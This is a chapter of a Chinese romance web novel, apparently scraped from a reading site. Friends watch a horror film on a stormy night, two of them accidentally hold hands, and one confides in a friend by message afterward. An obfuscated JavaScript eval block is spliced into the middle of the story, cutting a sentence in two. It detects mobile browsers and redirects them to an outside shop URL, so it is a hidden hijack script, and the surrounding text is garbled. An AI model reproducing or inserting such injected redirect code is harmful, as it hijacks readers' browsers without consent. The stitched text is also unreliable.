褚卓本身游戏水平不差,路昱航比他要更牛一点,二拖一,赵青提成功被带飞,逆风局也赢得毫不费力。
她第一次发现自己辅助玩得这么溜,美滋滋地截图保存结算页面:“哎,路少爷这一把真是帅气逼人啊。”
褚卓不乐意了:“刚才在河道谁救的你?你怎么只夸一个?”
赵青提把截图发朋友圈,头也不抬地编辑着文案:“没有啊,我两个都夸了,他是帅气,你是逼人。”
“……”
褚卓扔了个靠垫到她身上。
赵青提不占下风地抬脚踢过去,又被褚卓一把固住脚踝,往后一扯,两人在沙发上斗鸡似的打了起来。
“啊,压我头发了!松手!”
“你掐着我脖子我怎么松!”
“幼稚死了!”
“没你幼稚!”
骑士狗来疯地摇着尾巴转圈围观凑热闹,不时叫两声助兴。
“汪汪!”
抱枕乱砸,鸡飞狗跳。
路昱航没有做战地记者的打算,拆着褚卓刚递给他的冰棒躲远了些。
淙夏终于修好放碟机,把那张恐怖碟片推进去,咔哒一声,信号连接完好,电视机亮起荧幕,投下昏昏昧昧的白光,刚好将沙发区域笼罩。
褚卓和赵青提还在小学鸡式扯头花,淙夏拎一袋青柠味的薯片,看也不看他俩,嘴上敷衍地流程式劝说两句:“别打架别打架。”
然后径直路过战场,远离硝烟,坐在了沙发最左端的路昱航旁边。
路昱航屈起一条腿踩在沙发边缘,叼着冰棒低头给耿靳思回消息,看她一眼,没说什么。
窗外风摇树晃,暴雨侵袭,仿若世界末日,电影开始播放片头,巨大白噪音吞没不掉音响里泄出的渗人BGM,镜头摇摇晃晃推向一架送亲的大红花轿,盖头下新娘胭脂血红,嘴角向上撕裂开微笑弧度。
淙夏拆开薯片袋子,往左边递。
路昱航靠着沙发懒懒散散地看荧幕,胳膊肘搭在屈起的膝盖上,手机拎在两指间缓慢地转悠,注意到淙夏的动作,他没回头,只用余光往她那儿扫了下,接着抬抬下巴,示意自己嘴里有东西。
“哦,”淙夏收回袋子吃了片,身子向他倾斜一点,小声问,“你觉不觉得新娘造型很熟悉?”
路昱航嘴里衔一根棒冰,吐字倒是挺清晰:“黑色大丽花?”
又一次对上脑电波,淙夏发现跟这人聊天果然省力,她嚼着薯片点点头,突然想起忘记做观众背调,补了句:“你应该不怕鬼吧?”
转悠的手机收进掌心,路昱航把腿放下,睨她一眼说:“已经开始看了才过来问我,是不是有点晚了?”
“所以你真怕嘛?”
“不怕。”
“哦,我也不怕。”
雨声大,电影声也大,两人聊天的内容低低密密地隐匿进沙发角落。
荧幕光线影影幢幢,从彼此身上掠过,路昱航等了会儿发现没后续了,安静两秒,主动续上:“我以为你会说,你在鬼屋也打过工。”
“这个真没有。”淙夏望向电影,兔子牙咔嚓咔嚓咬薯片,腮帮子鼓鼓像仓鼠,特别体贴地道,“褚卓说这部片子贼吓人,等会儿如果你怕了,可以拉住我的袖子。”
“……”
你想得倒挺美。
路昱航吃着冰棒不搭理她了。
淙夏其实没撒谎,她的确不怕鬼,也的确没有在鬼屋打过工。
她从小感知神经方面就缺一根弦,爬树摘椰子,下海摸鱼虾,比同龄的男生胆子还要大,高中在校外租房住,经常自己走夜路。
但她着实没想到,褚卓弄来的碟片这么刺激。
主线剧情不算复杂,愚昧村庄中被献祭的替死鬼新娘,离奇惨死后回村复仇,有点像《山村老尸》。
但复仇方式远超楚人美,堪比贞子和伽椰子,频频突脸,频频打心理战,整个一咒怨凶铃合成版。
电影放了不到二十分钟,赵青提受不了地跑去淙夏卧室玩手机了。
当新娘漂荡在井水中青白浮肿的脸第四次猛地扑向屏幕,嘴角开裂到耳根,下半张脸完全变成血盆大口时,玻璃窗外非常应景地劈过一道狭长闪电,霎时照亮大半房间。
淙夏后背有点发毛,在村民的惨叫声里咬断薯片,左手下意识摸向旁边的骑士。
由于看得太投入,她忘记这回坐身侧的不是骑士,是路昱航。
更没想到这人的手掌是自然向上摊开的,正百无聊赖抛接着骑士落在沙发角落的玩具小球。
淙夏这么一摸,毛绒球从路昱航的指间咕噜噜滚走,掉下沙发,她的手心毫无阻隔地贴合上路昱航的。
两人猝不及防搞了一个掌纹紧贴,十指相扣。
……
路昱航宕,机,了。
女孩子的掌心柔软温热,触感并不十分细腻,与他严丝合缝紧紧挨着的指根处覆有一层薄茧。
足足愣上三秒,路昱航反应过来,他心跳停滞一拍,错愕地红了耳廓,碰到电门似的将手从淙夏手心抽走,低声质问:“你乱摸什么?”
淙夏注意力全在电影上,才发现自己找错人了,她跟着收回手:“不好意思,还以为骑士坐在这儿呢。”
路昱航发誓。
他没有从她语气里听出一丝的‘不好意思’。
——骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526038|203505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼吧你!
明明就是想趁机牵我!
-
凌晨一点半。
夜猫子陈向维窝在人体工学椅上,挂着头戴式耳机,准时准点翻墙去外网追他最近入坑的新番。
叮咚。
微信小窗弹出消息,来自他置顶。
Torchin:【怎么办我初牵没了】
耳机里打斗音效燃到极点,陈向维眼睛盯着动漫,一心二用地敲键盘回复:【初牵是什么?】
Torchin:【第一次牵手】
陈向维:“……”
情感阅历丰富的狗头军师陈向维同学难得迎来无语凝噎的时刻,好半天才发一句:【少爷你小时候没被你妈牵着送去幼儿园啊?】
距离他一千多公里外的路昱航在做完两轮康复训练,五十个仰卧起坐,洗了两遍澡,翻来覆去到凌晨依旧没有丝毫睡意后,大半夜搬了把椅子坐在落地窗前开始狂翻通讯录。
耿靳思是没脑子的哈奇士。
Pass。
徐霁宁倒适合谈心,但作息健康到可怕,这个点儿早睡了。
Pass。
指尖按着屏幕,滑动在面瘫嘲讽脸祝早和夜猫子陈向维之间,他果断选择后者。
被陈向维这么一反问,路昱航整理一下凌乱的脑子,修改措辞。
【和同龄异性的第一次牵手】
这少爷从来不和他们谈异性,陈向维嗅到猫腻,摘了耳机挂在脖子上,回得飞快:【那你当时为什么不躲?】
Torchin:【躲了,没躲开】
陈向维不信:【你心里就想被她牵吧?】
一场雨下到半夜势头不见减小,豆大雨珠砸得玻璃噼里啪啦响。
路昱航莫名有点心烦意乱,被牵过的掌心隐隐发烫,他轻吸一口气,手指插进潮湿的头发里往后捋了把,眼皮垂着,面无表情地单手打字:
【我没有】
对面发个微笑表情包。
【随便哪个女生都能牵你的话,你之前也不会被人挂在学校表白墙上叫做液体猫。】
这外号路昱航还真不知道:【什么东西?】
陈向维:【想跟你制造点肢体接触,你他妈躲得比液体化的猫还快。】
路昱航:“……”
路昱航:【睡了】
五分钟后。
陈向维的电脑窗口再次弹出消息。
Torchin:【我是真的没躲开】
陈向维已经重新戴上耳机,追着动漫敷衍:【嗯嗯嗯知道了玩去吧。】
路昱航:“……”
靠。
好烦。